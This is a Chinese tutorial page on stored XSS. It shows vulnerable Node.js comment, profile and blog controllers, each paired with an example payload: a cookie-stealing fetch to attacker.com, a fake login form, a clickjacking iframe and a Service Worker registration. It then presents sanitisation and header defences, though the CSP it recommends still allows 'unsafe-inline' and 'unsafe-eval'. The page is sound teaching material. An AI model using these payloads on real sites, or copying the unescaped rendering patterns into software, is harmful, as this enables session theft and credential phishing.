元素码农
基础
UML建模
数据结构
算法
设计模式
网络
TCP/IP协议
HTTPS安全机制
WebSocket实时通信
数据库
sqlite
postgresql
clickhouse
后端
rust
go
java
php
mysql
redis
mongodb
etcd
nats
zincsearch
前端
浏览器
javascript
typescript
vue3
react
游戏
unity
unreal
C++
C#
Lua
App
android
ios
flutter
react-native
安全
Web安全
测试
软件测试
自动化测试 - Playwright
人工智能
Python
langChain
langGraph
运维
linux
docker
工具
git
svn
🌞
🌙
目录
▶
注入攻击与防御
SQL注入原理与利用
SQL注入防御策略
NoSQL注入技术分析
命令注入漏洞实战
ORM框架注入问题
注入攻击自动化检测
▶
认证与会话安全
会话固定与会话劫持
密码存储与加密策略
多因素认证机制
OAuth2.0安全实践
JWT安全攻防
认证逻辑漏洞挖掘
▶
XSS攻击与防御
XSS攻击原理与分类
存储型XSS实战案例
DOM型XSS高级利用
XSS过滤器绕过技术
CSP内容安全策略
前端框架XSS防护
▶
CSRF与点击劫持
CSRF攻击原理演示
CSRF Token防御实践
点击劫持技术剖析
SameSite Cookie策略
框架内置防护机制
跨域资源安全策略
▶
文件安全攻防
文件上传漏洞利用
安全文件类型验证
路径遍历漏洞实战
文件包含漏洞防御
Office文档攻击解析
云存储安全配置
▶
其他Web攻击技术
SSRF漏洞利用与防御
XXE漏洞攻防实战
反序列化漏洞原理
业务逻辑漏洞挖掘
HTTP请求走私攻击
Web缓存投毒攻击
发布时间:
2025-03-23 13:06
↑
☰
# 存储型XSS实战案例 ## 漏洞原理 存储型XSS(Stored XSS)是最危险的XSS攻击类型之一。攻击者提交的恶意脚本被永久存储在目标服务器上(例如数据库、文件系统等),当其他用户浏览包含此恶意脚本的页面时,脚本会被执行。这种攻击的特点是持久性和广泛性,一次注入可能影响到所有访问该页面的用户。 ## 实战案例分析 ### 1. 评论系统漏洞 ```javascript // 不安全的评论系统实现 class CommentController { async addComment(req, res) { const { content } = req.body; // 直接存储用户输入到数据库 await db.comments.create({ content: content, userId: req.user.id, createdAt: new Date() }); res.json({ success: true }); } async getComments(req, res) { const comments = await db.comments.findAll(); // 直接将评论内容插入到HTML中 const html = comments.map(comment => ` <div class="comment"> <p>${comment.content}</p> <span>Posted by: ${comment.userId}</span> </div> `).join(''); res.send(html); } } // 攻击者可以提交如下评论内容: /* <script> // 窃取用户cookie fetch('https://attacker.com/steal?cookie=' + document.cookie); // 在页面中插入钓鱼表单 document.body.innerHTML += ` <div style="position:fixed;top:50%;left:50%;transform:translate(-50%,-50%);background:white;padding:20px;box-shadow:0 0 10px rgba(0,0,0,0.5);"> <h3>Session expired, please login again</h3> <form action="https://attacker.com/fake-login"> <input type="text" placeholder="Username" required><br> <input type="password" placeholder="Password" required><br> <button type="submit">Login</button> </form> </div> `; </script> */ ``` ### 2. 用户个人资料漏洞 ```javascript // 不安全的个人资料更新 class ProfileController { async updateProfile(req, res) { const { name, bio, website } = req.body; // 未经过滤直接存储用户输入 await db.users.update({ name: name, bio: bio, website: website }, { where: { id: req.user.id } }); res.json({ success: true }); } async viewProfile(req, res) { const user = await db.users.findByPk(req.params.id); // 直接将用户资料嵌入HTML res.send(` <div class="profile"> <h2>${user.name}</h2> <p>${user.bio}</p> <a href="${user.website}">Website</a> </div> `); } } // 攻击者可以在个人简介中注入恶意代码: /* <script> // 创建隐藏的iframe用于点击劫持 var iframe = document.createElement('iframe'); iframe.style.opacity = '0'; iframe.style.position = 'fixed'; iframe.style.top = '0'; iframe.style.left = '0'; iframe.style.width = '100%'; iframe.style.height = '100%'; iframe.src = 'https://target-site.com/important-action'; document.body.appendChild(iframe); </script> */ ``` ### 3. 博客平台漏洞 ```javascript // 不安全的博客文章系统 class BlogController { async createPost(req, res) { const { title, content } = req.body; // 允许HTML内容但未进行适当过滤 await db.posts.create({ title: title, content: content, authorId: req.user.id }); res.redirect('/blog'); } async renderPost(req, res) { const post = await db.posts.findByPk(req.params.id); // 直接渲染HTML内容 res.send(` <article> <h1>${post.title}</h1> <div class="content">${post.content}</div> </article> `); } } // 攻击者可以在文章中嵌入恶意JavaScript: /* <div onmouseover=" // 创建恶意Service Worker if ('serviceWorker' in navigator) { navigator.serviceWorker.register('/evil-worker.js') .then(registration => { // Service Worker可以拦截用户请求 console.log('Evil worker registered'); }); } "> Hover me to see something cool! </div> */ ``` ## 防护方案 ### 1. 输入验证与过滤 ```javascript // 安全的评论系统实现 class SecureCommentController { constructor() { // 使用DOMPurify进行XSS过滤 this.sanitizer = createDOMPurifier(window); // 定义允许的HTML标签和属性 this.config = { ALLOWED_TAGS: ['p', 'b', 'i', 'em', 'strong', 'a'], ALLOWED_ATTR: ['href'], ALLOW_DATA_ATTR: false }; } async addComment(req, res) { const { content } = req.body; // 过滤用户输入 const sanitizedContent = this.sanitizer.sanitize( content, this.config ); // 存储安全的内容 await db.comments.create({ content: sanitizedContent, userId: req.user.id, createdAt: new Date() }); res.json({ success: true }); } async getComments(req, res) { const comments = await db.comments.findAll(); // 使用模板引擎安全渲染内容 const html = await ejs.render('comments', { comments }); res.send(html); } } ``` ### 2. 安全的内容渲染 ```javascript // 使用React安全渲染用户内容 class SecureContent extends React.Component { render() { const { content } = this.props; return ( <div className="content"> {/* React自动转义HTML */} <p>{content}</p> {/* 如果需要渲染HTML,使用dangerouslySetInnerHTML并先过滤 */} <div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(content, { ALLOWED_TAGS: ['p', 'b', 'i'] }) }} /> </div> ); } } // Vue.js的安全渲染 Vue.component('secure-content', { props: ['content'], template: ` <div class="content"> <!-- 自动转义 --> <p>{{ content }}</p> <!-- 安全的HTML渲染 --> <div v-html="sanitizedContent"></div> </div> `, computed: { sanitizedContent() { return DOMPurify.sanitize(this.content, { ALLOWED_TAGS: ['p', 'b', 'i'] }); } } }); ``` ### 3. 安全Headers配置 ```javascript // Express中间件设置安全头部 app.use((req, res, next) => { // 启用XSS过滤器 res.setHeader('X-XSS-Protection', '1; mode=block'); // 设置CSP策略 res.setHeader('Content-Security-Policy', ` default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self'; object-src 'none'; media-src 'self'; frame-src 'self'; connect-src 'self' api.example.com; `.trim().replace(/\s+/g, ' ')); next(); }); ``` ## 最佳实践 1. 数据存储 - 始终在服务器端进行输入验证和过滤 - 使用参数化查询防止SQL注入 - 对不同类型的内容使用不同的过滤规则 2. 内容渲染 - 使用现代前端框架的安全特性 - 对需要渲染HTML的内容进行严格过滤 - 使用CSP限制资源加载和脚本执行 3. 安全配置 - 启用浏览器内置的XSS防护 - 配置严格的CSP策略 - 使用安全的Cookie设置 4. 开发流程 - 进行安全培训 - 执行代码审查 - 使用自动化工具检测XSS漏洞 ## 总结 存储型XSS是一种严重的安全威胁,需要通过多层防护来防范: 1. 应用层 - 输入验证和过滤 - 安全的内容渲染 - 使用安全的API 2. 框架层 - 利用框架的安全特性 - 使用成熟的安全库 - 保持依赖包更新 3. 服务器层 - 配置安全头部 - 实施CSP策略 - 监控和响应